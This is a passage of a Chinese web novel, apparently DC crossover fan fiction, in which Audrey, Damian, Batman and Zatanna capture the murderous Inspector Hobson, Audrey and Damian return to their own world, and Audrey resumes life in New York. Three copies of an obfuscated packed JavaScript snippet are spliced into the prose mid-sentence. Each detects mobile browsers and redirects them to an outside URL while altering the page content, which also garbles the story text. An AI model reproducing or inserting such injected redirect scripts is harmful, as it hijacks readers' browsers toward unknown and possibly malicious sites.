“啊？那我们岂不是永远也回不去了？”奥德莉惊呆了。她不能为了自己的目的去伤害另一个人。“并非所有门洞都是创口，但所有创口都是门洞。祭品的伤口是永远无法复原的。” 12. 第 12 章 想到可能会被永远地困在这个世界，奥德莉慌了神，下意识去看达米安，不明白他为什么能这么淡定。 “可以用霍布森探长做祭品，”达米安毫不在意地说，“只是手掌被穿个洞而已。反正他肯定要上绞刑架的，这也算以眼还眼、物尽其用了。” 好有道理！奥德莉受到了启发，快乐地做出严谨的分析：“其实不能确定我们的穿越是因为哪一次仪式。可能是最后一次仪式，那意味着三天的延迟，但也可能是第一次，延迟三天和延迟几十天，对于宇宙之间的差异而言可能是微乎其微的。”奥德莉一锤定音：“所以我们应该在霍布森探长身上制造四个伤口。” 达米安向她投去赞许的目光。 分析得很好，请不要再分析了。蝙蝠侠发现奥德莉暴力的一面又在冒头，有点头痛：“也许不需要祭品，因为你们有一样东西是霍布森探长没有的。” “羊皮卷！它可以替代祭品。”奥德莉恍然，但还是不肯放弃。“那霍布森探长可以作为备用方案。” 达米安建议道：“或者同时使用，提高成功率。” 两个小坏蛋在那里惺惺相惜，蝙蝠侠在一旁已经握紧拳头了，不知是要想去敲两位法外狂徒的狗头还是把自己一拳敲晕眼不见为净。扎坦娜不得不出来打圆场，强行结束这个话题：“我相信羊皮卷成功的可能性足够高了。” 谈完行动计划，蝙蝠侠小讲堂开始上课了。 面对两个稳重中带点叛逆的孩子，蝙蝠侠体会到了阿尔弗雷德面对自己的心情。他因材施教，采用三明治式谈话法，先表扬两个人取得的成果，再批评他们去防剿局办公室的莽撞行为。“如果你没想好怎么出来，就别进去。”在生动有趣地讲解了不同情境下如何逃生的经验后，他又夸他们聪明好学，一定能从教训中吸取经验，不会再犯同样的错误。 达米安认为自己根本不需要听这些，即使没有蝙蝠侠相救，他也有至少三种办法带着奥德莉离开。但他觉得奥德莉很需要听这一课，便没有出言反对，又悄悄去瞄奥德莉，想看她被批评之后垂头丧气，又担心她不虚心学习。 奥德莉听到蝙蝠侠的夸奖之后，尾巴要翘到天上，被批评之后也还是兴高采烈的。蝙蝠侠要是不欣赏我，怎么会花时间给我上课？她认真好学、求知若渴的表现，让达米安再一次生起闷气—— 这些知识他也会啊！过去几天他一直试图给奥德莉讲一讲在出任务时过于“灵机一动”的危险性，但奥德莉坚称自己是“随机应变”，是“根据获得的情报灵活地调整计划”。如今有了蝙蝠侠的夸奖，哪怕那其实是为了让她认真听讲的糖衣炮弹，她也肯定会更加趾高气扬了。 但至少她不敢对着蝙蝠侠自吹自擂，真是一物降一物——达米安对此很满意，连奥德莉偷偷地瞪他，用眼神活灵活现地传达愤怒，他都能宽容地假装没看见。 “是不是你偷偷打小报告了？”蝙蝠侠一转身，奥德莉就开始嘀嘀咕咕。 “我有必要那么做吗？”达米安说，“你说过的，蝙蝠侠无所不知。” 以子之矛，攻子之盾，奥德莉落败。 达米安，你不是自称心智比成年人更成熟吗？蝙蝠侠假装没看到两个学生之间的暗潮涌动，讲完课就立刻起身告辞。 围观的扎坦娜觉得自己看了一场搞笑哑剧，忍笑到肚子疼，和蝙蝠侠一起离开了。 第二天中午，赖床的布鲁斯被管家揪下楼吃午饭。在听说昨夜的访客时，他不满地说：“那个蝙蝠怪人真是不懂礼数，怎么能在监护人不在家的时候来拜访孩子呢。”他又问：“你们怎么认识他的？” 奥德莉支支吾吾：“偶遇？”她不想说实话，又不想让布鲁斯觉得自己不被信任，十分为难。 达米安看不下去了，直接切入正题：“他知道了我们的情况，说有办法帮我们回去。” 布鲁斯大惊失色：“天啊，他在监视我们吗？以后我换衣服的时候一定要拉好窗帘。” 奥德莉想说蝙蝠侠不是那种人，但转念一想，这好像是cp在发糖？不管了吃一口。 布鲁斯戏瘾大发，先谴责蝙蝠侠不尊重他人隐私，又控诉蝙蝠侠不尊重自己，抱怨了好半天，他又问奥德莉：“蝙蝠侠是否要求你们支付报酬？如果他真的能帮上忙，需要花多少钱都没关系。” 奥德莉连忙解释蝙蝠侠是义务帮忙，布鲁斯很资本家地“哼”了一声，抓住一切机会诋毁蝙蝠侠：“免费的最贵，小心他之后给你一张天价账单。” 奥德莉偷偷戳达米安，让他也一起维护蝙蝠侠的名誉。达米安才不肯，径自对布鲁斯说：“今晚奥德莉和我去埃利奥特餐厅吃饭，会晚点回来。” 埃利奥特餐厅是一家价格亲民的老牌意大利餐厅，如今已经传承到家族第四代了。那里通常需要提前一个星期订位，但阿尔弗雷德总有办法。 布鲁斯可能是演得心满意足了，没再唠叨。 达米安特意选择一家平价餐厅是为了两人可以穿着低调简单的服饰出门。如果打扮得太过隆重，在东区就是两个吸引别人敲闷棍的肥羊。 与蝙蝠侠和扎坦娜碰头后，蝙蝠侠说：“霍布森探长还在办公室。我留在附近等着，如果他搭乘马车的话，我会跟上他并告知你们地点；如果他忽然消失，你们要尽可能快地巡查负责的区域。等我的通知。” 四人各自散去。奥德莉找到蝙蝠侠指定的巷子，手里握着对讲机等待在黑暗中。 等了不知多久，蝙蝠侠的声音忽然打破寂静：“他消失了。” 奥德莉立刻准备向外走，差点与一个忽然出现的男人撞上。待她看清对方的脸，立刻后退三步，将对讲机藏在身后，按下通话键。 “抱歉。”那个男人——霍布森探长——说，“你是在这里休息吗？” 奥德莉愣了一下，意识到他将自己误认为了流莺。她在这里等待时，暗中观察附近的人来人往，发现皮条客不允许手下的姑娘偷懒，她们站在街上总得带着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293985|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容积极地与人搭话，唯一能稍作喘息的地方只是这些黑暗小巷，还不能待得太久，被发现的话会被责骂。 见奥德莉没有回答，霍布森探长又说：“五美金，陪我一晚，怎么样？” 有一瞬间，奥德莉以为他真的是来买/春的，那他们今天就没办法抓他现行了，真令人懊恼。但下一刻她顿悟，如果是为此目的，他完全可以坐马车，不必为这种事情冒险施展无形之术。 原来他是通过这种方式把被害人带走的。意识到这一点之后，奥德莉唯恐他去找别的女子下手，只好答应下来，尽力模仿东区口音说些奉承之语：“先生，您一看就是个有钱人，我从没看过这么精致的徽章。” 另外三人从对讲机里听见奥德莉那边的对话，起初以为她是碰上了东区夜间常见的男人，但听她不但没有打发掉对方，还说出“徽章”二字，立刻领会她的暗示，同时朝她所在的区域奔去。 霍布森探长掏出怀表看了看，有点不耐烦，说：“时间不早了，跟我来吧。” 奥德莉还试图说点什么拖延时间，霍布森探长却伸出手去抓她胳膊。他身材高大健壮，奥德莉知道自己不可能是对手。如果他施展启之术法把她带到别的小巷，蝙蝠侠三人未必能及时救下她。 穿越前，皮斯利教授给了奥德莉一瓶拜占庭染剂，让她在紧急关头召唤密大契约的无声亡者。但此时此地，密大尚不存在，更没有与之契约的漫宿生物。 奥德莉可以用几天前留在冰山餐厅的传送记号逃跑，但那样做会打草惊蛇。在发现自己撞上一个密教中人后，霍布森探长很可能会立刻离开哥谭，隐姓埋名去往他乡。他们无法将他定罪，未来可能有更多的被害者，达米安和她也没办法知道回家所需的仪式内容。 蝙蝠侠一定听懂了她的暗示，正在来的路上。她只需要再拖延一阵就行了。 昨天晚上，在见过蝙蝠侠后，奥德莉决定给自己准备一个Plan B。和一起她穿越而来的小包中有一些仪式用品，经过合适的搭配，足够举行一个帮助她战斗的仪式。 这个仪式她从来没尝试过，因为它需要的灵感太高了。她不知道现在的自己成功率会有多高，而即使成功，召唤物也只能维持一百二十秒。 没有时间犹豫了，奥德莉必须立刻决定。 她召唤了第二干渴者伊泽姆。 当赤红色的、不可名状的漫宿生物降临时，奥德莉轻轻地颤抖起来。过高的洞察力让她更加敏锐地感受到恐惧。 霍布森探长被伊泽姆很轻易地打倒了。奥德莉立刻脱下外套，上前将霍布森探长的双手束缚在身后，又用手帕堵住他的嘴。 三、二、一。 伊泽姆消失了，但它的残影已经倒映在降落于地的蝙蝠侠的护目镜上。 力竭地倒下之前，奥德莉看见达米安从屋顶上一跃而下。扎坦娜晚一步到达，喘息着对霍布森探长念出反语咒文，阻止了他的挣扎。 她安心地陷入昏迷。 13. 第 13 章 醒来时，奥德莉发现自己躺在一张单人床上。她清楚记得昏倒前的感觉，并且永远不想再体验精神能量被彻底耗尽的痛苦。她明白教授们为什么再三警告学生召唤过于强大的漫宿生物的风险了。 但现在她已经恢复如初，还隐约觉得自己的灵感增强了。真是个意外之喜。 奥德莉坐起身，环顾周围。这是一间普通的单人公寓，窗帘拉得严严实实。屋里的陈设很简单，一张桌子和几把椅子，以及她坐着的单人床。 达米安正坐在旁边的椅子上盯着她，第一时间发现她醒了。他的脸色很严肃，似乎在生闷气。 “怎么了？”她紧张起来。 “你昏倒了。”达米安说。 “我知道。”奥德莉说。“我是问你怎么了，为什么生气？” “没什么。”达米安生硬地说。蝙蝠侠讲了他到达时看到的情景，他知道奥德莉做了什么，也能理解她为什么那么做。他没有理由指责她的冒险——她成功地抓住了霍布森探长，她没有被绑架到不为人知的地方，很多人可能因此避免被害，他们也能回到自己的世界。除了她的昏倒之外，结局很完美。 但他无法抑制胸腔里燃烧的愤怒。他不知道愤怒的对象是她还是自己。 “你是不是很担心我？”对视了一会儿，奥德莉忽然说。 “如果你没有被接住，现在脑袋上一定会多出一个大包，”达米安没有正面回答。 “哦，幸好你们及时赶到了。”奥德莉不甚在意地说。 达米安被她的回答气得想拍桌子，可惜手边没有桌子，只能狠狠地敲了一下床沿。奥德莉马上惊叫，捂着自己的腿说：“好疼。” 达米安不可思议地看她，觉得她是在碰瓷：“我根本没有碰到你。” 奥德莉小声地哼唧着，一副疼得无法忍受的样子：“这张床垫这么旧，你又这么用力，肯定是弹簧断了。” 达米安很怀疑她在骗自己，布鲁斯怎么可能会这么节俭地用一张旧床垫？但她的表情十分真实，达米安妥协了：“对不起。” 奥德莉没想到达米安真的会对她道歉，望着那双带点小心翼翼的绿眼睛，她忽然想起布莱克。有一次她把手指放在布莱克嘴边，布莱克轻轻咬她一下，她假装吃痛，布莱克以为自己是没有掌握好力道，很愧疚地赶紧帮她舔舔，那时它圆圆的绿眼睛就是这样看着她。 它知道自己是在逗它吗？也许吧。但是它担心有可能真的伤到了她，哪怕可能性只是百分之一，它还是选择求和，想哄她高兴，让两人可以继续快乐地玩耍。 奥德莉忽然不想再演了，她坐正身体，说：“我只是做了必须去做的事情。如果霍布森探长撞上的是你，你也会不惜一切代价地阻止他的。” 在达米安张口前，她又郑重地说：“我很感激你的关心和担忧，但我不是玻璃罩里的花朵，你也不是我的保护者。我们是同伴，我们互相照应。但不要把‘必须保护我’当作你的责任，那不是你应该背负的。” 达米安明白她是对的。过分保护是出于关心，却也意味着居高临下，甚至算是一种不尊重。他发现自己在无意识地复刻蝙蝠侠对罗宾的态度，而他曾为此激烈争吵和反抗过无数次。 “那我们没事了？”奥德莉问，达米安点点头，她又扭头看向另外一侧。 霍布森探长被捆在一把椅子上，脸上有一些青紫痕迹，可能是伊泽姆的粗暴动作留下的。蝙蝠侠和扎坦娜正坐在对面讯问他。 蝙蝠侠注意到奥德莉醒了，对她点点头，继续问霍布森探长：“你为什么要背叛防剿局？” 霍布森探长说：“并不是我做出了决定，而是决定做出了我。” “四起开膛手的案子都是你做的吗？” “是的。在调查另外一个案子时，我听说了一个据说可以让人完成对准则的最终参悟的仪式。想要飞升漫宿，我必须完成这个仪式。” “仪式的内容是什么？”扎坦娜问。 “以午之石、狂怒银片和伤口作为祭品，在晚上九时敬拜蚁母。我的仪式一直没有得到结果，我不得不尝试在祭品的不同部位制造伤口。” 霍布森探长的神态很平静，甚至到了麻木的程度。 “你有什么想为自己辩解的吗？”蝙蝠侠最后这样问。 “我以为已经前进到最后一个门关，不再有任何事物存于我的明察之外，”霍布森探长晦暗不明地说，“但长生者派人监视着任何一个走上这条道路的人，我的理智被蒙蔽了。我的失败早已注定。” 达米安几乎觉得霍布森探长是谜语人的同位体。对于所有问题，他都毫无保留地回答，至于其他人是否能理解则不在他在意的范畴之内。 “我会将你交给哥谭警局处理，”蝙蝠侠宣布。霍布森探长没有说话，全然不在意自己的结局。 蝙蝠侠看向奥德莉，她赶紧捂住头，虚弱地说：“我是谁，我在哪里？你们是谁？” “我只是想问你有没有其他问题，没有的话我就把他送去警局了。” 蝙蝠侠好笑地看着奥德莉装模作样。 奥德莉赶紧放下手，说：“霍布森探长，防剿局怎么辨别研习无形之术的人呀？”她怀疑防剿局根本无法判别，否则今天晚上霍布森探长见到她的第一眼，她不就露馅了吗？ 霍布森探长看向奥德莉，对她的身份毫无好奇之意，只是漠然地说：“如果将无形之术定义为防剿局意图查禁的一切秘传技艺，那么伟大之术自然也在其列。但在防剿局的影响下，人们常为无形之术的界定争论不休，却对伟大之术的范畴出奇地保持缄默。无形之术被认定是学徒研习的玩意儿，他们小心翼翼、不敢声张，好像天然就见不得光；而伟大之术则是属于学者的，他们是学术沙龙的座上宾，可以在任何地点高谈阔论。” 什么意思？奥德莉一脸茫然地看看蝙蝠侠，又看看扎坦娜。她怀疑霍布森探长是汉弗莱爵士的同位体。 探长是不是上班上得太痛苦以至于精神失常了？哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293986|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，上班哪有不疯的。 达米安则毫不客气地说：“他是不是在装疯想逃避惩罚？” “可就算他不必上哥谭的绞刑架，也逃不掉防剿局的处置，后者可不会在乎犯人的精神状态。而且很难讲哪个下场更悲惨，是痛快死去还是无穷尽的折磨。”奥德莉说。 蝙蝠侠带着霍布森探长准备离开时，奥德莉灵机一动，对有求必应的霍布森探长说：“您的仪式材料能留给我吗？” 霍布森探长默默从口袋中取出材料，放在桌上。奥德莉说了声“谢谢”，他也没什么反应，活像一个完成任务后给予奖励的NPC。 蝙蝠侠离开后，扎坦娜用魔法为奥德莉检查灵魂。达米安已经检查过她没有外伤，但无形的伤害需要她醒来后才能判断。 完成检查后，扎坦娜对奥德莉说：“一切正常。你还有什么不舒服的感觉吗？” “完全没有。” “你的天赋很高，”扎坦娜若有所思地说，“你的家族是否有什么特殊血脉？” “我只听说有一位姑祖母是研习无形之术之人，不过我没有见过她。” 蝙蝠侠很快回来了，他先询问了奥德莉的情况，然后拉过一把椅子坐在她面前。 “我好像又有点头晕了，”奥德莉赶紧说。 蝙蝠侠无视她的表演，直截了当地问：“那个红色的生物是你召唤出来的吗？” “是的，那是一种漫宿生物，可以通过仪式短暂地召唤到人世，听从召唤者的命令战斗。” 蝙蝠侠对这个笼统的答案不太满意，要求奥德莉说出全部的细节。奥德莉有点犹豫地说：“您是否想过，您只是一个凡人，某些真相与您无关？”她知道蝙蝠侠没有超能力也不会魔法，知道得太多可能不是一件好事。 蝙蝠侠说：“哥谭是我的城市，它的一切都与我有关。” “它已经离开了，除非有其他人召唤，它不会再降临哥谭。” “如果有其他人召唤呢？” “好吧。”奥德莉将自己知道的关于召唤的信息事无巨细地讲给蝙蝠侠，最后补充道：“仪式、尤其是高阶仪式，对于灵感要求很高，不是什么人都能成功的。这是我第一次尝试伊泽姆，它超出了我目前的能力，当时我真怕召唤失败。” 她不希望蝙蝠侠为此事太过担忧，以为这种召唤会成为哥谭的常态。 达米安听到她冒的风险比自己想象得还要高，使劲瞪她一眼，但没说话。一方面，两人刚刚谈过这个问题，他不想再起争执，另一方面，他在等蝙蝠侠做自己的嘴替。 蝙蝠侠没有辜负他的暗自期待，确实批评了奥德莉几句，但很温和，而且混杂在鼓励和表扬里。分别在即，他希望达到的目的是奥德莉能听进去，而不是产生抗拒心态。他还建议奥德莉认真学一学防身之术：“虽然你有无形之术，但如果敌人把你控制住，让你无法施展呢？就像你的召唤物对霍布森探长做的一样。” “我明白。我会的。”奥德莉保证道。 14. 第 14 章 “我可以训练你，一个星期足够了。”达米安毛遂自荐。 “可我正想问你是否愿意明天晚上回去。”奥德莉很想接受他的好意，达米安显然身手不凡，教她绰绰有余。“虽然我们回去的时间会和出发时一样，但我们在这里并不是时间停滞的状态。我担心在其它世界待太久会有不可知的负面影响。” “你说的有道理，”扎坦娜说，“宇宙穿越有太多未知之处。” “那我们就明天回去，回去再训练。”达米安觉得这根本不是问题。 “第二天教授和我就要回美国了。”奥德莉苦着脸说。 “我可以去找你。”达米安依然态度轻松。 你能进入美国吗？奥德莉担心海关有一个针对刺客联盟的黑名单。可转念一想，即使有，他这种未成年预备役可能也不在其中。 “那就这么说定了，纽约见。我们去哪里举行仪式呢？东区吗？” “韦恩庄园就很合适。”达米安说。“远离大众的视线。” “会不会给布鲁斯带来麻烦？”奥德莉担忧地说。防剿局肯定会再派一位督察来哥谭主持事务，她努力不想让布鲁斯和密教有任何牵扯。 “不会的。而且蝙蝠侠会保护他的，对吗？”扎坦娜转头对蝙蝠侠说。 “如果他需要的话，”蝙蝠侠说。 “好吧。您会来送别吗？”奥德莉有点期待地问。 “我需要夜巡，扎坦娜会去。” “那这就是最后一次见面了。”奥德莉对这个回答并不意外，向他伸出右手：“谢谢您的帮助。很荣幸和您一起抓捕罪犯。” 蝙蝠侠也伸出戴着黑色手套的手：“我也是。一路顺风。” 第二天，奥德莉将找到了回家办法的消息告知布鲁斯和阿尔弗雷德，并感谢他们多日的照顾。阿尔弗雷德特意准备了晚餐欢送两人。 扎坦娜在晚饭后到达韦恩庄园，布鲁斯对美女习惯性地献几句殷勤，但见扎坦娜对此无动于衷，他就偃旗息鼓了。 天已经完全黑了，大宅的灯光透过玻璃洒在草坪上，阿尔弗雷德拎着一盏防风气灯站在奥德莉旁边为她提供额外照明。 “为什么不能在客厅呀，”奥德莉小声地抱怨。 “因为这样更有情调，你不觉得吗？”布鲁斯还是听到了，大声地对她说。他正在将最后一串小彩灯挂在阿尔弗雷德精心修剪的灌木上。 “你高兴就好。”奥德莉无奈地说。 布鲁斯的场地布置完毕，奥德莉也准备好了仪式所需的一切。达米安站到她身边，手里握着武士刀。 奥德莉看着对面无私地帮助他们的三个人，想说再见，却知道不会再次相见。即使她再次冒险穿越到这个世界，也不知道会降落在哪个时间点。 她第一次意识到，有些人在生命中只会遇见一次。不是所有的离别都有重逢。 布鲁斯走上前，分别给达米安和她一个拥抱，祝福他们平安回家。然后他和阿尔弗雷德与扎坦娜退到远处。 哥谭的钟楼即将奏响九下。 奥德莉深吸一口气，在达米安惊讶的目光中牵住他空着的那只手：“我不确定你的穿越是因为羊皮卷的影响范围足够大，还是因为你当时抓住了我。可不能把你落在这里。” 白光升起之前，奥德莉感觉到达米安用力回握住她的手：“另一个世界见，奥德莉。” 两个人的身影一起消失了。 望着空无一人的草坪，布鲁斯沉默了一会儿，说：“我该去夜巡了。”昨晚他和达米安单独聊过，待办清单上新增了许多事项。 “如果你没有其它事情的话，我明早启程回伦敦，”扎坦娜给了布鲁斯一个拥抱，“布鲁斯，照顾好自己。” “你也是。” 似乎只过了一瞬，奥德莉已经回到拉撒路池边，两人的姿势和在韦恩庄园时一样，达米安仍拉着她的手。奥德莉奇怪地看过去，不明白达米安为何一动不动。那双绿眼睛中的神采消失了，如同蒙尘宝石，对眼前的她视若无睹。 “奥德莉，快点完成任务离开。我控制不了他太久。”一个雌雄莫辨的稚涩声音忽然在她脑中响起。见奥德莉发愣，那个声音立刻催促她，“我是布莱克，之后再和你解释。你的瓶子呢？快点！喵喵喵！” 奥德莉来不及思考，只能按照它说的去做，机械地从包里拿出瓶子，发现它仍是满的。布莱克不断催她先走，急得喵喵叫，飞机耳都冒出来了。奥德莉只好独自沿着来路回到民宿，焦急地等待布莱克回来。 没过多久。一只绿眼黑猫矫健地从窗户跳进来，蹲坐在桌子上。 “布莱克，你回来了！” 奥德莉一把抱住它。“你能说话了吗？刚刚是怎么回事？” “是的，只有你能听见我。”布莱克的声音在她的脑中响起，“我看到那个人拿刀要攻击你的时候，可能因为情况非常凶险，我太担心了，忽然觉醒了能力——我可以将人定住五分钟。他们不会知道发生了什么，只会模糊地感觉时间流逝。” “他确实拿着刀，可他不是要攻击我——可能原本是会攻击我的，但是发生了太多的事情了。”奥德莉将穿越到维多利亚时代的经历简要地讲给布莱克听，它的猫脸上露出呆滞的表情。 “那个人的意志力很强，可能不是个普通守卫。”布莱克回忆着说，“我只控制了三分钟，他就清醒了。” “按说池边应该有不少守卫。可能他是刺客联盟很重要的人，因为他在那里，守卫都不敢靠近。” 奥德莉猜测。 “幸好只有他在，我现在的能力只能定住一个人。” “他清醒之后，会不会纳闷我怎么忽然消失了？希望他不会觉得我不懂礼貌，不辞而别。”奥德莉有点沮丧，却也不可能再重回拉撒路池去找达米安解释。“说好了去纽约找我，他应该还是会去的吧。” 布莱克为了自己闹出的乌龙很不好意思，奥德莉安慰道：“你又不知道前因后果，你只是为了救我嘛。你有了新能力，又能说话了，天下不会有比你更厉害的小猫咪了。”对于布莱克而言，他们根本没有分开过，但对于奥德莉而言，她已经很久没有见到布莱克了，当然要把错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293987|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的每日夸夸给补上。 奥德莉从包里拿出战利品，看着穿越时空两次之后依然在冒泡的液体，嘀咕道：“这个东西感觉很诡异，我这就给教授送过去。” 皮斯利教授拿到瓶子后，对奥德莉表扬了几句，表示她这次实习成绩会是优秀。奥德莉表示是老师指导得好，然后赶紧问：“教授，明早的机票不会出问题吧？”虽然达米安和她已经成为了朋友，但刺客联盟的其他人可不是等闲之辈，如果发现了她的行为，随时可能会出现把她绳之以法。 皮斯利教授理解她的紧张，安抚道：“放心，密大的实习还没有出过安全问题，每个带队老师都能把学生安全地带回去。” 奥德莉听完更紧张了。中东可不是以安全著称的地方，斯塔克总裁在中东都能被绑架。而且眼下又招惹了刺客联盟，虽然学校是很强，但刺客联盟可不是友好的定点实习合作对象啊，很难说刺客联盟会对自家池水失窃无动于衷。 回到房间后，奥德莉躺在床上睡不着，回想着过去数日的经历。布莱克凑过去用鼻子拱她的手，奥德莉摸摸它的头，轻声说：“我还是想不通，为什么羊皮卷会出现在我的包里，又为什么会被拉撒路池水浸湿。它难道有自我意识了吗？” 她只是自言自语，不觉得布莱克能给出什么答案。没想到布莱克僵住了，然后喵呜喵呜地哭起来。奥德莉吓了一跳，坐起身问：“怎么了？” “都是我的错，”布莱克喵呜喵呜地哭着，又愧疚又后悔，“都怪我。” “为什么这么说？” 布莱克老老实实地把自己做的事都交代了：“我在你买的纪念品里看到了它。我在漫宿时听人说过，如果用拉撒路池水将它浸湿，就可以用它穿越到其他宇宙。但是我还不知道具体的仪式该怎么做，想确定了再告诉你的……” “漫宿有人知道它？”奥德莉没想到这东西还颇有名气。 “是呀，可能是哪个飞升漫宿的人带去的消息吧。”布莱克毕竟不是真的猫咪，它哭起来泪如泉涌，好似两个小喷泉。它用脑袋去蹭奥德莉的衣袖，瞬间打湿了布料。 奥德莉哭笑不得：“所以你是想趁此机会先把它准备好？” “嗯，”布莱克点点头，继续撒娇地蹭奥德莉，恳求她的原谅。它的绿色眼睛一下一下地偷瞄奥德莉，见她好像并没有很生气，又赶紧表功地说：“我刚刚把羊皮卷浸湿，就见那个人要攻击你。我着急救你嘛，只能赶紧把它塞回你的包里，打算去咬那个人。”它呲呲牙，表示自己就算没有忽然觉醒能力，也有尖牙可以做武器。 奥德莉原本有点生气，但布莱克只是贪玩，并没有恶意，又为了救自己那么拼命，于是捧起布莱克的圆脸认真地说：“谢谢你努力救我。这次我原谅你，但是以后请不要瞒着我做任何事了。” 布莱克瞪大双眼看着奥德莉，没想到自己这么轻易被原谅了，又喵呜一声哭起来：“对不起，我真担心你以后再也不召唤我了。” “好啦，不要再哭啦，”奥德莉轻轻捏它的小黑爪。“我的床要被你的眼泪淹没了。” 15. 第 15 章 哄好了布莱克之后，奥德莉叮嘱它晚上帮自己守夜，然后放心地睡觉了。但她睡得很不踏实，做了一些乱七八糟的梦，一会儿是临别前达米安淡漠的眼神，一会儿是达米安质问她为何旁观猫咪欺负自己，卑微的猫仆人只能替猫主子道歉。 奥德莉醒来时，布莱克正在认认真真地舔爪子，感知到她的视线立刻望过去，圆溜溜的绿眼睛转来转去，有一种老谋深算却算不明白的感觉。 天知道梦里的布莱克是如何能用猫猫拳给达米安留下乌眼青的。达米安是不是在碰瓷？它只是一只柔弱的小猫咪啊！ “喵喵喵。”虽然会说话了，但布莱克还是习惯性地叫几声，像个小炮弹一样冲到奥德莉面前。“昨晚没有人来过，放心吧。” “辛苦你了。你真棒。”奥德莉及时地接住它，双手托住它的圆脸，脸颊的软肉被挤成一团。“我们要回家喽。” “喵呜！”布莱克和她一起欢呼。 回到纽约的第一天，奥德莉找了一家武馆报名，开始基础体能训练。等了两周，达米安始终没来纽约找她，她不觉得达米安是会失约的人，因此她开始担心他的安危。 在信息有限的情况下，奥德莉的猜测天马行空到了她自己都觉得荒谬的程度，比如刺客联盟发生内讧导致整个组织全军覆没，比如达米安被派出去执行任务，失手后被送入关塔那摩监狱，再比如达米安通过正规途径入境后，在新任总统一天一个新政策的大背景下，被当场遣返。 意识到自己的思路越跑越偏，奥德莉冷静下来。 达米安是她作为调查员结识的第一个伙伴，她认可对方的能力和道德水平，希望能与他建立长久的友谊。但她对他的了解其实很有限。确切地说，他们对彼此的了解都很片面。 在维多利亚时代，与其说是选择对方作为伙伴，不如说是两个人被迫成为伙伴。他们只是偶然地撞进了彼此的人生。并肩战斗时的情感是真挚的，但那是特定时间特定地点的限定感受。 现在他们回到了自己的世界，回到了各自的生活。他们会走上不同的路，去做不同的事情。 忧伤了一会儿，奥德莉整理好自己的心情，去武馆和教练定了武术课程，约好每周上课。灵感提升之后，她能传送的距离也增加了，可以随时往返于纽约和密大。 她的情绪变化被格温敏锐地捕捉到。由于格温在帝国州立大学的实验室实习，回到纽约后奥德莉便每天做她的专属午饭外卖员，拎着打包的食物去曼哈顿上城找她一起吃饭。 “你今天看起来有点不一样，”格温观察她的神色，“好像压力消失了。” “只是想通了一些事情。”奥德莉说。 “如果你想聊聊的话，我随时可以。”格温说。“不想聊也没关系，反正已经过去了。” “谢谢。”奥德莉决定把烦心事彻底忘掉，换了个话题。“你今天的实验怎么样？” 格温刚讲了几句，两人的手机同时响起，是彼得在群里说他马上来加入午餐聚会。 “他已经连续三天放我们的鸽子了，”奥德莉撇撇嘴，“每次他都这么说。” 令奥德莉不解的是，彼得是如何做到在空中奔波的同时还能在群里随时接话，甚至没有错别字的。彼得的答案很简单：战衣的AI帮他语音转文字。 “这次是真的，”格温指指奥德莉身后，彼得正狂奔而来。 “对不起，”彼得坐下先道歉。 “原谅你了，”奥德莉递过去一个超级巨大的墨西哥卷。彼得的饭量因为体能消耗而特别大，她一般按照双人餐为他准备。 吃完了饭，三人又各奔东西。 许久不体验纽约的都市生活，奥德莉要做的事情可太多了。大都会博物馆有新展览，畅销推理作家里克·卡塞尔要举办新书签售，格林威治村新开的咖啡馆听说甜点做得不错…… 哈利的暑假也很忙碌，一直在世界各地的分公司视察，终于能回纽约几天，却是因为家里的事情需要处理。改了好几次日期后，四个人终于在开学前夕聚在哈利家。 他们在群里基本天天聊天，完全没有脱离彼此日常生活的疏离感，但能见面总是很好的。 格温和奥德莉在沙发上挤在一起，给她看自己来的路上拍到的一只萨摩耶。纽约地铁可以带狗，但理论上狗狗必须装在背包里。这只萨摩耶被很守规矩的主人塞到一只硕大的包里背在身后，热情地对周围的人露出天使微笑。 彼得和哈利坐在茶几边的地毯上打游戏，奥德莉偶尔抬头瞄一眼大屏幕，发现彼得在给哈利放水——不，应该说是在泄洪——赶紧大声地咳嗽。彼得还没来得及心虚地给她一个“拜托不要揭穿”的眼神，哈利已经头也不回地说：“奥德莉，上一局你赢彼得的时候我可没说话。” “我是全凭实力赢的。”奥德莉理直气壮地说。她当然知道彼得也对自己放水了——彼得的反应能力已经不是普通人的水平了，就好比如果超人和她百米赛跑，不让她先跑出去九十九米的话，还有必要比赛吗？但她毫无自知之明地认为相较于对哈利，彼得对自己只是略微手下留情。 这次哈利转过头，给她一个“听听你自己在胡言乱语什么”的眼神。 开学后，奥德莉和爱丽丝在密大宿舍重逢，讲起各自的实习经历，各有一把辛酸泪。 